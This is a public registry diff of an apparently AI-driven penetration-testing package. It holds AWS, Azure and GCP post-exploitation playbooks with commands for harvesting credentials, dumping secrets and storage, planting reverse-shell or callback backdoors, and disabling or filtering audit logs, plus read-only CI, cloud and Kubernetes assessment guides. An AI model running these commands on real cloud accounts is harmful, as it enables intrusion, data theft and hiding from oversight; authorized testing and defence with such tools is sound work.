@cyberstrike-io/cyberstrike 1.1.16-beta.3 → 1.1.16-beta.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -116469,7 +116469,12 @@ async function collectInteractiveElements(page) {
116469
116469
  const label = getLabel(el);
116470
116470
  const tag = el.tagName.toLowerCase();
116471
116471
  const type = el.type?.toLowerCase() || "";
116472
- const href = el.href || "";
116472
+ const rawHref = (el.getAttribute("href") || "").trim();
116473
+ const navigates = !!rawHref && rawHref !== "#" && !rawHref.startsWith("#") && !rawHref.startsWith("javascript:");
116474
+ const href = navigates ? el.href || "" : "";
116475
+ const nonNavAnchor = tag === "a" && !navigates;
116476
+ if (nonNavAnchor)
116477
+ role = "button";
116473
116478
  const isSlider = role === "slider";
116474
116479
  const value = isSlider ? el.getAttribute("aria-valuenow") ?? el.value ?? "" : el.value || "";
116475
116480
  const placeholder = el.placeholder || "";
@@ -116486,7 +116491,7 @@ async function collectInteractiveElements(page) {
116486
116491
  const ariaLabelRaw = (el.getAttribute("aria-label") || "").trim();
116487
116492
  const safeAriaLabel = ariaLabelRaw.replace(/\\/g, "\\\\").replace(/"/g, "\\\"");
116488
116493
  const isFileInput = el.matches("input[type=file]");
116489
- const selectorRole = syntheticRole || count > 1 || isFileInput ? "" : safeAriaLabel ? `role=${role}[name="${safeAriaLabel}"]` : `role=${role}`;
116494
+ const selectorRole = syntheticRole || count > 1 || isFileInput || nonNavAnchor ? "" : safeAriaLabel ? `role=${role}[name="${safeAriaLabel}"]` : `role=${role}`;
116490
116495
  const selectorCSS = buildCSSSelector(el);
116491
116496
  const inChrome = !!el.closest("nav, header, footer, aside, [role=navigation], [role=banner], [role=contentinfo], [role=complementary]");
116492
116497
  const roleCount = (seenRoleSelectors.get(selectorRole) ?? 0) + 1;
package/package.json CHANGED
@@ -7,7 +7,7 @@
7
7
  "scripts": {
8
8
  "postinstall": "bun ./postinstall.mjs || node ./postinstall.mjs"
9
9
  },
10
- "version": "1.1.16-beta.3",
10
+ "version": "1.1.16-beta.4",
11
11
  "license": "AGPL-3.0-only",
12
12
  "keywords": [
13
13
  "cyberstrike",
@@ -40,16 +40,16 @@
40
40
  "playwright": "1.58.2"
41
41
  },
42
42
  "optionalDependencies": {
43
- "@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.16-beta.3",
44
- "@cyberstrike-io/cyberstrike-linux-x64": "1.1.16-beta.3",
45
- "@cyberstrike-io/cyberstrike-windows-x64": "1.1.16-beta.3",
46
- "@cyberstrike-io/cyberstrike-linux-arm64": "1.1.16-beta.3",
47
- "@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.16-beta.3",
48
- "@cyberstrike-io/cyberstrike-darwin-x64": "1.1.16-beta.3",
49
- "@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.16-beta.3",
50
- "@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.16-beta.3",
51
- "@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.16-beta.3",
52
- "@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.16-beta.3",
53
- "@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.16-beta.3"
43
+ "@cyberstrike-io/cyberstrike-darwin-x64": "1.1.16-beta.4",
44
+ "@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.16-beta.4",
45
+ "@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.16-beta.4",
46
+ "@cyberstrike-io/cyberstrike-linux-x64": "1.1.16-beta.4",
47
+ "@cyberstrike-io/cyberstrike-windows-x64": "1.1.16-beta.4",
48
+ "@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.16-beta.4",
49
+ "@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.16-beta.4",
50
+ "@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.16-beta.4",
51
+ "@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.16-beta.4",
52
+ "@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.16-beta.4",
53
+ "@cyberstrike-io/cyberstrike-linux-arm64": "1.1.16-beta.4"
54
54
  }
55
55
  }
@@ -3,7 +3,7 @@ name: aws-postexploit
3
3
  description: AWS post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via boto3
4
4
  category: post-exploitation
5
5
  tags: [aws, cloud, post-exploitation, iam, s3, lambda, ssm, cloudtrail, credential-access, defense-evasion, persistence]
6
- tech_stack: [aws, boto3, python]
6
+ tech_stack: [aws, aws-cli]
7
7
  cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284]
8
8
  chains_with: [T1078.004, T1530, T1537, T1562.008, T1098, T1059.009, T1552.005]
9
9
  prerequisites: [T1078.004, T1552.005]
@@ -12,14 +12,14 @@ version: "1.0"
12
12
 
13
13
  # AWS Post-Exploitation Methodology
14
14
 
15
- AWS post-exploitation uses boto3, the AWS CLI, and direct metadata endpoint access to perform privilege escalation, data exfiltration, and persistence after compromising IAM credentials or gaining EC2 instance access. These tools target IAM misconfigurations, S3 data stores, Secrets Manager, Lambda functions, and SSM for lateral movement.
15
+ AWS post-exploitation uses the AWS CLI and direct metadata endpoint access to perform privilege escalation, data exfiltration, and persistence after compromising IAM credentials or gaining EC2 instance access. These tools target IAM misconfigurations, S3 data stores, Secrets Manager, Lambda functions, RDS databases, ECS containers, SSO, and Organizations for lateral movement.
16
16
 
17
17
  ## Prerequisites
18
18
 
19
19
  Before deploying awshook tools, verify:
20
20
 
21
21
  1. **Valid AWS credentials** — access key + secret key, session token, or instance profile
22
- 2. **boto3 installed** — `pip3 install boto3`
22
+ 2. **AWS CLI installed** — all tools use `aws` CLI natively, no Python/boto3 needed
23
23
  3. **Current identity** — `aws sts get-caller-identity` to confirm access
24
24
  4. **Region** — set via `--region`, `AWS_DEFAULT_REGION`, or profile config
25
25
 
@@ -27,7 +27,7 @@ Before deploying awshook tools, verify:
27
27
  # Quick prerequisite check
28
28
  aws sts get-caller-identity # verify credentials work
29
29
  aws iam get-user 2>/dev/null || echo "No IAM user (likely role/instance profile)"
30
- python3 -c "import boto3; print('boto3 OK')" # verify boto3
30
+ aws --version # verify AWS CLI
31
31
  ```
32
32
 
33
33
  ## Kill Chain Phases
@@ -62,6 +62,7 @@ Extract sensitive data from AWS services.
62
62
  | S3 dump | `awshook s3_dump` | Find and download sensitive files from all buckets |
63
63
  | Secrets extraction | `awshook secrets_dump` | Extract Secrets Manager and SSM Parameter Store values |
64
64
  | EBS snapshot | `awshook ec2_snapshot --volume-id VOL_ID` | Snapshot volumes for offline data access |
65
+ | RDS dump | `awshook rds_dump --db-identifier DB_ID` | Create RDS snapshot and optionally share cross-account |
65
66
 
66
67
  ### Phase 4 — Persistence
67
68
 
@@ -71,6 +72,9 @@ Establish persistent access to the AWS environment.
71
72
  |--------|---------|---------|
72
73
  | Lambda backdoor | `awshook lambda_backdoor --function-name NAME --callback-url URL` | Inject reverse shell into Lambda |
73
74
  | SSM execution | `awshook ssm_exec --instance-id ID --command CMD` | Execute commands on EC2 via SSM |
75
+ | ECS exec | `awshook ecs_exec --cluster CLUSTER --task TASK --command CMD` | Execute commands in ECS containers |
76
+ | SSO enumeration | `awshook sso_enum` | Enumerate SSO permission sets, users, groups |
77
+ | Org enumeration | `awshook org_enum` | Map Organizations accounts, OUs, SCPs |
74
78
 
75
79
  ### Phase 5 — Operational Security
76
80
 
@@ -117,4 +121,8 @@ AWS post-exploitation tools are detectable by:
117
121
  | cloudtrail_blind | CloudTrail log evasion | T1562.008 — Disable Cloud Logs |
118
122
  | secrets_dump | Secrets Manager/Parameter Store extraction | T1555.006 — Cloud Secrets Management Stores |
119
123
  | ec2_snapshot | EBS volume snapshot for data access | T1537 — Transfer Data to Cloud Account |
124
+ | rds_dump | RDS snapshot and cross-account sharing | T1530 — Data from Cloud Storage |
125
+ | ecs_exec | ECS Exec command execution in containers | T1609 — Container Administration Command |
126
+ | sso_enum | AWS SSO/Identity Center enumeration | T1087.004 — Cloud Account |
127
+ | org_enum | AWS Organizations cross-account recon | T1580 — Cloud Infrastructure Discovery |
120
128
  | cleanup_aws | Resource removal and trail restoration | T1070 — Indicator Removal |
@@ -3,7 +3,7 @@ name: azure-postexploit
3
3
  description: Azure/Entra ID post-exploitation for tenant compromise, Key Vault extraction, managed identity abuse, and token manipulation
4
4
  category: post-exploitation
5
5
  tags: [azure, entra-id, cloud, post-exploitation, keyvault, managed-identity, credential-access, persistence, token-abuse]
6
- tech_stack: [azure, python, msal, msgraph, requests]
6
+ tech_stack: [azure, az-cli]
7
7
  cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284]
8
8
  chains_with: [T1078.004, T1552.001, T1098.001, T1550.001, T1528]
9
9
  prerequisites: [T1078.004]
@@ -12,19 +12,18 @@ version: "1.0"
12
12
 
13
13
  # Azure/Entra ID Post-Exploitation Methodology
14
14
 
15
- Azure post-exploitation uses Microsoft Graph API, Azure Resource Manager API, and direct IMDS access for tenant enumeration, privilege escalation, secret extraction, and persistence. After compromising Azure credentials or a managed identity, these tools provide comprehensive Entra ID and Azure resource exploitation capabilities.
15
+ Azure post-exploitation uses az CLI and native fetch() for IMDS access to perform tenant enumeration, privilege escalation, secret extraction, and persistence. No Python dependency all operations use native TypeScript with az CLI calls.
16
16
 
17
17
  ## Prerequisites
18
18
 
19
19
  1. **Valid Azure credentials** — service principal, user credentials, managed identity, or access token
20
- 2. **Python packages** — `pip3 install requests msal azure-identity azure-keyvault-secrets azure-storage-blob`
21
- 3. **Current identity** — verify access via `az account show` or Graph API /me endpoint
20
+ 2. **az CLI installed** — `az version`
21
+ 3. **Current identity** — verify access via `az account show`
22
22
 
23
23
  ```bash
24
24
  # Quick prerequisite check
25
- az account show # verify Azure CLI credentials
26
- python3 -c "import requests; print('OK')" # verify requests
27
- curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null && echo "IMDS available"
25
+ az account show # verify Azure CLI credentials
26
+ az version # verify CLI
28
27
  ```
29
28
 
30
29
  ## Kill Chain Phases
@@ -51,12 +50,16 @@ curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version
51
50
  | Key Vault dump | `azurehook keyvault_dump` | Extract secrets, keys, certificates from Key Vaults |
52
51
  | Storage dump | `azurehook storage_dump` | Download sensitive data from Blob Storage |
53
52
  | Token abuse | `azurehook azuread_token --action foci` | Use FOCI to get tokens for multiple services |
53
+ | Cosmos DB dump | `azurehook cosmos_dump --account NAME` | Extract Cosmos DB keys, databases, documents |
54
+ | AKS enum | `azurehook aks_enum --cluster NAME` | Enumerate AKS clusters, extract admin kubeconfig |
54
55
 
55
56
  ### Phase 4 — Persistence
56
57
 
57
58
  | Action | Command | Purpose |
58
59
  |--------|---------|---------|
59
60
  | Runbook backdoor | `azurehook runbook_backdoor --automation-account NAME --resource-group RG` | Create Automation runbook with reverse shell |
61
+ | Logic App backdoor | `azurehook logic_app_backdoor --resource-group RG --name NAME --callback-url URL` | Create HTTP-triggered Logic App for persistent callback |
62
+ | Function App backdoor | `azurehook function_app_backdoor --resource-group RG --name NAME --callback-url URL` | Deploy Function App with exfil trigger |
60
63
 
61
64
  ### Phase 5 — Cleanup (MANDATORY)
62
65
 
@@ -83,4 +86,8 @@ azurehook cleanup_azure
83
86
  | managed_identity | Managed identity token harvest | T1552.005 — Cloud Instance Metadata API |
84
87
  | runbook_backdoor | Automation Account persistence | T1525 — Implant Internal Image |
85
88
  | azuread_token | Token manipulation and FOCI abuse | T1550.001 — Application Access Token |
89
+ | cosmos_dump | Cosmos DB key and data extraction | T1530 — Data from Cloud Storage |
90
+ | aks_enum | AKS cluster enumeration and credential extraction | T1613 — Container and Resource Discovery |
91
+ | logic_app_backdoor | Logic App webhook persistence | T1525 — Implant Internal Image |
92
+ | function_app_backdoor | Function App backdoor deployment | T1525 — Implant Internal Image |
86
93
  | cleanup_azure | Resource removal and restoration | T1070 — Indicator Removal |
@@ -0,0 +1,82 @@
1
+ ---
2
+ name: ci-assessment
3
+ description: READ-ONLY CI/CD pipeline security assessment for GitHub Actions, dependency security, and software supply chain
4
+ category: security-assessment
5
+ tags: [cicd, github-actions, supply-chain, dependency-security, branch-protection, secrets, pipeline-security]
6
+ tech_stack: [github, gh-cli]
7
+ cwe_ids: [CWE-94, CWE-78, CWE-269, CWE-311, CWE-502, CWE-829]
8
+ chains_with: [T1195.002, T1059.004, T1552.001]
9
+ prerequisites: [gh-cli-access]
10
+ version: "1.0"
11
+ ---
12
+
13
+ # CI/CD Pipeline Security Assessment
14
+
15
+ READ-ONLY CI/CD security assessment using gh CLI and local filesystem inspection. No repositories, workflows, or configurations are modified. Focused on GitHub Actions but includes dependency and supply chain checks applicable to any CI platform.
16
+
17
+ ## Prerequisites
18
+
19
+ 1. **gh CLI installed and authenticated** — `gh auth status`
20
+ 2. **Repository access** — read access to target repository
21
+ 3. **For dependency_audit** — local checkout of the repository
22
+
23
+ ```bash
24
+ # Quick prerequisite check
25
+ gh auth status # verify GitHub auth
26
+ gh repo view OWNER/REPO # verify repo access
27
+ ```
28
+
29
+ ## Assessment Phases
30
+
31
+ ### Phase 1 — GitHub Actions Workflow Security
32
+
33
+ | Check | Command | Risk |
34
+ |-------|---------|------|
35
+ | Dangerous triggers | `ci_audit github_actions_audit --repo OWNER/REPO` | pull_request_target, workflow_dispatch injection |
36
+ | Script injection | `ci_audit github_actions_audit --repo OWNER/REPO` | ${{ github.event.* }} in run blocks |
37
+ | Token permissions | `ci_audit github_permissions_audit --repo OWNER/REPO` | Missing or overly broad GITHUB_TOKEN scope |
38
+ | Action pinning | `ci_audit github_actions_pinning_audit --repo OWNER/REPO` | Unpinned third-party actions (tag poisoning) |
39
+
40
+ ### Phase 2 — Secrets & Runner Security
41
+
42
+ | Check | Command | Risk |
43
+ |-------|---------|------|
44
+ | Secret leakage | `ci_audit github_secrets_exposure_audit --repo OWNER/REPO` | Secrets in logs, env dumps, artifacts |
45
+ | Self-hosted runners | `ci_audit github_runner_audit --repo OWNER/REPO` | Runner persistence, PR-triggered execution |
46
+
47
+ ### Phase 3 — Repository Security
48
+
49
+ | Check | Command | Risk |
50
+ |-------|---------|------|
51
+ | Branch protection | `ci_audit github_branch_protection_audit --repo OWNER/REPO` | Missing reviews, force push, no status checks |
52
+
53
+ ### Phase 4 — Dependency & Supply Chain
54
+
55
+ | Check | Command | Risk |
56
+ |-------|---------|------|
57
+ | Dependency security | `ci_audit dependency_audit --path /path/to/repo` | Unpinned deps, no lockfile, known vulns |
58
+ | Supply chain | `ci_audit supply_chain_audit --repo OWNER/REPO --path /path` | No Dependabot, missing CODEOWNERS, hardcoded tokens |
59
+
60
+ ## Detection Scope
61
+
62
+ | Category | What We Check | What We Don't |
63
+ |----------|---------------|---------------|
64
+ | **Workflows** | Triggers, injection, permissions, pinning | Runtime behavior, actual secret values |
65
+ | **Secrets** | Exposure patterns in YAML | Actual secret content or rotation status |
66
+ | **Runners** | Self-hosted presence, risky triggers | Runner OS hardening, network isolation |
67
+ | **Branch Protection** | Rule configuration | Bypass via admin override audit trail |
68
+ | **Dependencies** | Versions, lockfiles, known CVEs | Transitive dependency behavior |
69
+ | **Supply Chain** | Automation config, CODEOWNERS | SBOM completeness, SLSA compliance level |
70
+
71
+ ## Program Reference
72
+
73
+ | Program | Focus | Tool |
74
+ |---------|-------|------|
75
+ | github_actions_audit | Trigger analysis, script injection | gh API |
76
+ | github_permissions_audit | GITHUB_TOKEN scope | gh API |
77
+ | github_actions_pinning_audit | SHA pinning vs tag references | gh API |
78
+ | github_secrets_exposure_audit | Secret leakage patterns | gh API |
79
+ | github_runner_audit | Self-hosted runner risks | gh API |
80
+ | github_branch_protection_audit | Protection rule analysis | gh API |
81
+ | dependency_audit | Lockfile, versions, npm audit | local + npm |
82
+ | supply_chain_audit | Dependabot, CODEOWNERS, .npmrc | gh API + local |
@@ -0,0 +1,140 @@
1
+ ---
2
+ name: cloud-assessment
3
+ description: Multi-cloud READ-ONLY security assessment methodology for AWS, Azure, and GCP using CIS benchmark-aligned checks
4
+ category: assessment
5
+ tags: [cloud, aws, azure, gcp, security-audit, cis-benchmark, iam, storage, network, encryption, logging, dns, tls]
6
+ tech_stack: [aws, azure, gcp, aws-cli, az-cli, gcloud-cli]
7
+ cwe_ids: [CWE-269, CWE-311, CWE-319, CWE-693, CWE-778]
8
+ version: "1.0"
9
+ ---
10
+
11
+ # Cloud Security Assessment Methodology
12
+
13
+ Multi-cloud READ-ONLY security assessment using the `cloud_audit` tool. All checks use describe/list/get CLI calls via native TypeScript — no Python dependency, no SDK imports. Uses aws/az/gcloud CLIs. Aligned with CIS benchmarks for AWS, Azure, and GCP.
14
+
15
+ ## Safety First
16
+
17
+ **ALWAYS run `verify_readonly` before any other audit program.** This confirms the current credentials have no dangerous write permissions. If the check returns FAIL, stop and request read-only credentials.
18
+
19
+ ```
20
+ cloud_audit verify_readonly --provider all
21
+ ```
22
+
23
+ ## Assessment Phases
24
+
25
+ ### Phase 1 — Credential Safety Verification
26
+
27
+ | Check | Command | Purpose |
28
+ |-------|---------|---------|
29
+ | Verify read-only | `cloud_audit verify_readonly --provider all` | Confirm no write permissions — MUST pass before proceeding |
30
+
31
+ ### Phase 2 — Identity & Access Management
32
+
33
+ IAM is the most critical attack surface in cloud environments.
34
+
35
+ | Provider | Command | Key Checks |
36
+ |----------|---------|------------|
37
+ | AWS | `cloud_audit aws_iam_audit --json-output` | MFA status, wildcard policies, unused keys, cross-account trust, root access keys |
38
+ | Azure | `cloud_audit azure_iam_audit --json-output` | Dangerous role assignments (Owner/Contributor), subscription-level owners, wildcard custom roles |
39
+ | GCP | `cloud_audit gcp_iam_audit --json-output` | Primitive roles (Owner/Editor at project), SA key age >90d, domain-wide delegation |
40
+
41
+ **Intelligence integration:** After IAM audit, report findings via `add_intel` with type `infrastructure`:
42
+ ```
43
+ add_intel type=infrastructure data="IAM audit: 3 users without MFA, 2 wildcard policies found"
44
+ ```
45
+
46
+ ### Phase 3 — Storage Security
47
+
48
+ Public storage buckets are the #1 cloud data breach vector.
49
+
50
+ | Provider | Command | Key Checks |
51
+ |----------|---------|------------|
52
+ | AWS | `cloud_audit aws_storage_audit --json-output` | S3 Block Public Access, ACLs, default encryption, versioning, access logging |
53
+ | Azure | `cloud_audit azure_storage_audit --json-output` | Blob public access, HTTPS-only, minimum TLS version, SAS policies |
54
+ | GCP | `cloud_audit gcp_storage_audit --json-output` | allUsers/allAuthenticatedUsers bindings, uniform bucket-level access, versioning |
55
+
56
+ ### Phase 4 — Network Security
57
+
58
+ Open security groups and missing flow logs are common misconfigurations.
59
+
60
+ | Provider | Command | Key Checks |
61
+ |----------|---------|------------|
62
+ | AWS | `cloud_audit aws_network_audit --json-output` | SGs open to 0.0.0.0/0 on dangerous ports, IMDSv1, VPC flow logs |
63
+ | Azure | `cloud_audit azure_network_audit --json-output` | NSG Any/Any rules, public IPs on VMs, NSG flow logs |
64
+ | GCP | `cloud_audit gcp_network_audit --json-output` | Firewall rules open to 0.0.0.0/0, external IPs, legacy networks |
65
+
66
+ ### Phase 5 — Encryption at Rest
67
+
68
+ Unencrypted storage is a compliance violation in most frameworks.
69
+
70
+ | Provider | Command | Key Checks |
71
+ |----------|---------|------------|
72
+ | AWS | `cloud_audit aws_encryption_audit --json-output` | EBS/RDS encryption, KMS key rotation, CMK vs AWS-managed |
73
+ | Azure | `cloud_audit azure_encryption_audit --json-output` | Disk encryption, storage CMK, Key Vault rotation |
74
+ | GCP | `cloud_audit gcp_encryption_audit --json-output` | Disk/SQL/GCS CMEK, KMS key rotation |
75
+
76
+ ### Phase 6 — Logging & Monitoring
77
+
78
+ Missing audit logs mean attacks go undetected.
79
+
80
+ | Provider | Command | Key Checks |
81
+ |----------|---------|------------|
82
+ | AWS | `cloud_audit aws_logging_audit --json-output` | CloudTrail multi-region, GuardDuty, Config recorder |
83
+ | Azure | `cloud_audit azure_logging_audit --json-output` | Activity Log retention, Diagnostic settings, Defender status |
84
+ | GCP | `cloud_audit gcp_logging_audit --json-output` | Audit log config (DATA_READ/DATA_WRITE), log sinks, filters |
85
+
86
+ ### Phase 7 — DNS & TLS
87
+
88
+ External-facing services need DNS security and valid TLS.
89
+
90
+ | Check | Command | Key Checks |
91
+ |-------|---------|------------|
92
+ | DNS | `cloud_audit dns_audit --domain TARGET` | Dangling CNAMEs (subdomain takeover), DNSSEC, CAA records |
93
+ | TLS | `cloud_audit tls_audit --target HOST:PORT` | Protocol version, certificate expiry, cipher strength, HSTS |
94
+
95
+ ## Vulnerability Reporting
96
+
97
+ For each FAIL finding, report via `report_vulnerability`:
98
+
99
+ ```
100
+ report_vulnerability
101
+ title: "AWS IAM user without MFA: admin-user"
102
+ severity: high
103
+ evidence:
104
+ requestSent: "cloud_audit aws_iam_audit --json-output"
105
+ responseCode: 0
106
+ responseSummary: "checkId AWS-IAM-001 FAIL — user admin-user has console access without MFA"
107
+ reasoning: "CIS AWS 1.10 requires MFA for all IAM users with console access"
108
+ ```
109
+
110
+ ## Coverage Notes
111
+
112
+ Use `record_coverage_note` with `scope: "wide"` for account-level findings:
113
+ ```
114
+ record_coverage_note
115
+ scope: wide
116
+ note: "AWS IAM audit complete — 5 findings across 12 users. No root access keys detected."
117
+ ```
118
+
119
+ ## Program Reference
120
+
121
+ | Program | Domain | Providers |
122
+ |---------|--------|-----------|
123
+ | verify_readonly | Safety | AWS, Azure, GCP |
124
+ | aws_iam_audit | IAM | AWS |
125
+ | azure_iam_audit | IAM | Azure |
126
+ | gcp_iam_audit | IAM | GCP |
127
+ | aws_storage_audit | Storage | AWS |
128
+ | azure_storage_audit | Storage | Azure |
129
+ | gcp_storage_audit | Storage | GCP |
130
+ | aws_network_audit | Network | AWS |
131
+ | azure_network_audit | Network | Azure |
132
+ | gcp_network_audit | Network | GCP |
133
+ | aws_encryption_audit | Encryption | AWS |
134
+ | azure_encryption_audit | Encryption | Azure |
135
+ | gcp_encryption_audit | Encryption | GCP |
136
+ | aws_logging_audit | Logging | AWS |
137
+ | azure_logging_audit | Logging | Azure |
138
+ | gcp_logging_audit | Logging | GCP |
139
+ | dns_audit | DNS | Cross-cloud |
140
+ | tls_audit | TLS | Cross-cloud |
@@ -0,0 +1,129 @@
1
+ ---
2
+ name: gcp-postexploit
3
+ description: GCP post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via google-cloud SDK
4
+ category: post-exploitation
5
+ tags: [gcp, cloud, post-exploitation, iam, gcs, cloud-functions, secret-manager, credential-access, defense-evasion, persistence]
6
+ tech_stack: [gcp, gcloud-cli, gsutil]
7
+ cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284]
8
+ chains_with: [T1078.004, T1530, T1537, T1562.008, T1098, T1552.005]
9
+ prerequisites: [T1078.004, T1552.005]
10
+ version: "1.0"
11
+ ---
12
+
13
+ # GCP Post-Exploitation Methodology
14
+
15
+ GCP post-exploitation uses gcloud CLI and the GCE metadata endpoint (via native fetch) to perform privilege escalation, data exfiltration, and persistence after compromising service account credentials or gaining Compute Engine instance access. No Python dependency — all operations use native TypeScript with gcloud/gsutil CLI calls.
16
+
17
+ ## Prerequisites
18
+
19
+ Before deploying gcphook tools, verify:
20
+
21
+ 1. **Valid GCP credentials** — application default credentials, service account key, or metadata endpoint
22
+ 2. **gcloud CLI installed** — `gcloud version`
23
+ 3. **Current identity** — `gcloud auth list` to confirm active account
24
+ 4. **Project** — set via `--project` or default project
25
+
26
+ ```bash
27
+ # Quick prerequisite check
28
+ gcloud auth list # verify credentials
29
+ gcloud config get-value project # verify project
30
+ gcloud version # verify CLI
31
+ ```
32
+
33
+ ## Kill Chain Phases
34
+
35
+ ### Phase 1 — Situational Awareness (First 60 seconds)
36
+
37
+ Understand the GCP environment and current permissions.
38
+
39
+ | Action | Command | Purpose |
40
+ |--------|---------|---------|
41
+ | Project enumeration | `gcphook gcp_enum` | Map IAM bindings, service accounts, Compute, GCS, SQL, Functions, GKE |
42
+ | Metadata harvest | `gcphook metadata_harvest_gcp` | Extract SA credentials from metadata endpoint (metadata.google.internal) |
43
+ | Audit log status | `gcphook audit_log_tamper --action status` | Check audit logging before noisy operations |
44
+
45
+ ### Phase 2 — Privilege Escalation
46
+
47
+ Exploit IAM misconfigurations to gain higher privileges.
48
+
49
+ | Action | Command | Purpose |
50
+ |--------|---------|---------|
51
+ | SA impersonation | `gcphook gcp_privesc --method impersonate --target-sa SA_EMAIL` | Generate access token via SA impersonation |
52
+ | setIamPolicy | `gcphook gcp_privesc --method set_iam_policy` | Self-escalate via project IAM policy modification |
53
+ | actAs check | `gcphook gcp_privesc --method act_as --target-sa SA_EMAIL` | Check actAs permission for SA attachment |
54
+ | Token creation | `gcphook gcp_privesc --method token_create --target-sa SA_EMAIL` | Generate identity token for SA |
55
+
56
+ ### Phase 3 — Data Exfiltration
57
+
58
+ Extract sensitive data from GCP services.
59
+
60
+ | Action | Command | Purpose |
61
+ |--------|---------|---------|
62
+ | GCS dump | `gcphook gcs_dump` | Find and download sensitive files from all GCS buckets |
63
+ | Secrets extraction | `gcphook secrets_dump_gcp` | Extract all secrets from Google Secret Manager |
64
+ | Disk snapshot | `gcphook compute_snapshot --disk DISK --zone ZONE` | Snapshot Compute Engine disks for offline access |
65
+ | BigQuery dump | `gcphook bigquery_dump --dataset DATASET --query SQL` | Extract data from BigQuery datasets |
66
+ | Pub/Sub sniff | `gcphook pubsub_sniff --topic TOPIC` | Intercept messages from Pub/Sub topics |
67
+
68
+ ### Phase 4 — Persistence
69
+
70
+ Establish persistent access to the GCP environment.
71
+
72
+ | Action | Command | Purpose |
73
+ |--------|---------|---------|
74
+ | Function backdoor | `gcphook cloudfunc_backdoor --function-name NAME --callback-url URL` | Inject reverse shell into Cloud Function |
75
+ | Function creation | `gcphook cloudfunc_backdoor --method create --function-name NAME --callback-url URL` | Create new backdoor Cloud Function |
76
+ | Cloud Run backdoor | `gcphook cloud_run_backdoor --service NAME --image IMAGE --callback-url URL` | Deploy Cloud Run service with exfil container |
77
+ | GKE enum | `gcphook gke_enum --cluster NAME --zone ZONE` | Enumerate GKE clusters, extract kubeconfig |
78
+
79
+ ### Phase 5 — Operational Security
80
+
81
+ Reduce detection footprint.
82
+
83
+ | Action | Command | Purpose |
84
+ |--------|---------|---------|
85
+ | Disable data access logs | `gcphook audit_log_tamper --action disable_data_access` | Remove data access audit logging |
86
+ | Modify log sinks | `gcphook audit_log_tamper --action modify_sink` | Filter sensitive operations from log sinks |
87
+
88
+ ### Phase 6 — Cleanup (MANDATORY)
89
+
90
+ ```
91
+ gcphook cleanup_gcp
92
+ ```
93
+
94
+ The cleanup tool:
95
+ 1. Deletes CyberStrike-created Compute Engine snapshots (cs-* prefix)
96
+ 2. Removes backdoor Cloud Functions
97
+ 3. Removes Cloud Run services (cs-* prefix)
98
+ 4. Removes Pub/Sub sniff subscriptions (cs-sniff-* prefix)
99
+ 5. Removes CyberStrike-added IAM bindings
100
+ 6. Restores audit logging configuration (re-enables data access logs)
101
+ 7. Supports `--dry-run` for safe preview
102
+
103
+ ## Detection Considerations
104
+
105
+ GCP post-exploitation tools are detectable by:
106
+ - **Cloud Audit Logs** — All admin and data access API calls logged. Key events: SetIamPolicy, GenerateAccessToken, functions.create
107
+ - **Security Command Center** — Anomalous IAM behavior, privilege escalation detection
108
+ - **VPC Flow Logs** — Network traffic to metadata endpoint and external C2
109
+ - **Access Transparency** — Logs of Google staff access (Enterprise feature)
110
+ - **Organization Policy** — Constraints on service account key creation, external sharing
111
+ - **Event Threat Detection** — Anomalous service account usage, credential compromise indicators
112
+
113
+ ## Program Reference
114
+
115
+ | Program | Technique | MITRE ATT&CK |
116
+ |---------|-----------|---------------|
117
+ | gcp_enum | Project-wide IAM/compute/storage enumeration | T1087.004 — Cloud Account |
118
+ | gcp_privesc | IAM privilege escalation via impersonation/setIamPolicy | T1098 — Account Manipulation |
119
+ | gcs_dump | GCS bucket data exfiltration | T1530 — Data from Cloud Storage |
120
+ | metadata_harvest_gcp | Metadata endpoint credential extraction | T1552.005 — Cloud Instance Metadata API |
121
+ | secrets_dump_gcp | Secret Manager extraction | T1555.006 — Cloud Secrets Management Stores |
122
+ | cloudfunc_backdoor | Cloud Function backdoor for persistence | T1525 — Implant Internal Image |
123
+ | audit_log_tamper | Audit log evasion | T1562.008 — Disable Cloud Logs |
124
+ | compute_snapshot | Disk snapshot for data exfiltration | T1537 — Transfer Data to Cloud Account |
125
+ | bigquery_dump | BigQuery dataset and table extraction | T1530 — Data from Cloud Storage |
126
+ | gke_enum | GKE cluster enumeration and credential extraction | T1613 — Container and Resource Discovery |
127
+ | cloud_run_backdoor | Cloud Run service backdoor deployment | T1525 — Implant Internal Image |
128
+ | pubsub_sniff | Pub/Sub message interception | T1557 — Adversary-in-the-Middle |
129
+ | cleanup_gcp | Remove all CyberStrike artifacts | T1070 — Indicator Removal |
@@ -0,0 +1,107 @@
1
+ ---
2
+ name: k8s-assessment
3
+ description: READ-ONLY Kubernetes security assessment based on CIS Kubernetes Benchmark using kubectl
4
+ category: security-assessment
5
+ tags: [kubernetes, k8s, cis-benchmark, rbac, network-policy, pod-security, secrets, ingress, security-audit]
6
+ tech_stack: [kubernetes, kubectl]
7
+ cwe_ids: [CWE-269, CWE-284, CWE-311, CWE-732, CWE-693]
8
+ chains_with: [T1613, T1087.004, T1078.004]
9
+ prerequisites: [kubectl-access]
10
+ version: "1.0"
11
+ ---
12
+
13
+ # Kubernetes Security Assessment Methodology
14
+
15
